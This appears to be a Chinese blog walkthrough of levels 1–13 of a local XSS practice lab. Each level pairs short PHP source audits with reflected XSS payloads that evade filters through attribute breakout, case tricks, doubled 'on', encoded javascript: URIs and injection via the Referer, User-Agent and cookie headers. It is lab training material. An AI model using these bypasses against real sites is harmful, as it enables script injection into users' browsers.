xsschallenge靶场练习1-13关

文章目录

第一关

观察页面

php 复制代码
http://192.168.80.139/xsschallenge/level1.php?name=test

尝试在name=后面输入最近基本的xss语法

js 复制代码
<script>alert(1)</script>

第二关

查看页面源代码

可以通过构造闭合

js 复制代码
"> <script>alert(1)</script>

第三关

查看页面源代码

发现过滤了特殊字符

通过单引号闭合,使用触发事件来绕过

js 复制代码
' οnclick='alert(/xss/)

第四关

过滤了< >标签

可是试着尝试上一关的方法

js 复制代码
" οnclick="alert(1)

第五关

通过查看源码得知,替换了script为scr_ipt

使用大写绕过,看看是否可行

js 复制代码
<SCRIPT>alert(10)</SCRIPT>

发现还是不行,后端把 我们输入的大写,替换成了小写

尝试其他方法绕过,使用伪协议

js 复制代码
"> <a href=javascript:alert(1)>demo</a>

第六关

输入<script>alert(1)</script>测试,查看源代码,依旧替换了script

js 复制代码
"><Img sRc=# OnErRoR=alert(/xss/);>

第七关

使用上一关的通过代码,发现把on给过滤掉 了,还把href给过滤了

我们可以尝试点击事件,双写on,来绕过

js 复制代码
" oonnclick=alert(1)//

第八关

在页面输入框中输入" onclick=alert(1)//

查看页面源代码,发现双引号被做了转义,只能通过其他方式去绕过

可以↓方式去绕过

js 复制代码
j&#9;avasc&#10;r&#13;ipt:alert(/xss/)

第九关

js 复制代码
j&#9;avasc&#10;r&#13;ipt:alert('http://')

第十关

没有输入框可以在地址栏中绕过

js 复制代码
192.168.80.139/xsschallenge/level10.php?keyword=<script>alert(1)</script>

页面没有反应,

查看页面源代码,发现三个隐藏起来的输入框

可以尝试使用t_link\t_history\t_sort这三个 挨个尝试

发现只有 在t_sort输入的时候,才有变化

js 复制代码
http://192.168.80.139/xsschallenge/level10.php?t_sort=<script>alert(1)</script>

构造其他方法

js 复制代码
" type="test" οnclick="alert(1)

第十一关

代码审计

php 复制代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

查看页面代码

发现t_ref的value值是第十关的 地址

js 复制代码
" type="button" οnclick="alert(1)

也可以使用bp抓取数据包修改Referer字段的值

第十二关

代码审计

php 复制代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
js 复制代码
" type="button" οnmοuseοver="alert(1)"

第十三关

代码审计

php 复制代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
php 复制代码
user=" type="button" οnmοuseοver="alert(1)"
相关推荐
剑胆凌锋5 小时前
等级保护测评工程师的困境
网络·安全·web安全·网络安全·职场和发展
小小小小钰儿14 小时前
2.3-云端API集成
人工智能·计算机·网络安全·操作系统·编程
白帽攻防录15 小时前
SRC 挖洞:Dgraph GraphQL 数据库注入深度复盘,CVE-2026-41328 两个请求拖走全库数据
网络安全·graphql
小小小小钰儿16 小时前
2.2-模型微调
人工智能·深度学习·机器学习·计算机·网络安全·操作系统·编程
在猴站学算法18 小时前
(SQL注入学习)联合查询注入(UNION-Based)
sql·学习·网络安全
cindershade18 小时前
登录态不是一枚令牌,而是一条可撤销的生命线
xss
Seraphina3618 小时前
SQL注入(一)
数据库·经验分享·笔记·sql·网络安全
菩提小狗21 小时前
每日安全情报报告 · 2026-10-02
网络安全·漏洞·cve·安全情报·每日安全
白帽攻防录1 天前
SRC 挖洞:Roundcube 预认证 SQL 注入深度复盘,CVE-2026-48842 preg_replace 转义绕过怎么打穿邮件系统
网络·数据库·sql·网络安全·sql注入
白帽攻防录1 天前
SRC 挖洞:WSO2 JWT 算法混淆绕过深度复盘,CVE-2026-5430 不支持的算法怎么变成管理员
网络·算法·安全·网络安全·jwt